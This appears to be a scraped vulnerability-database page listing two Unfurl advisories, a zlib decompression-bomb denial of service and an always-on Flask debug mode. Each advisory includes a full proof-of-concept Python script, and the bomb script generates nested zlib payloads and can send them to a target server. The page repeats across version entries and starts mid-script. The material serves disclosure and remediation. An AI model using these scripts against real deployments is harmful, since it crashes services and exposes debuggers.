- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jun 30, 2020

20200630.2 initial

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jun 30, 2020

20200630 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

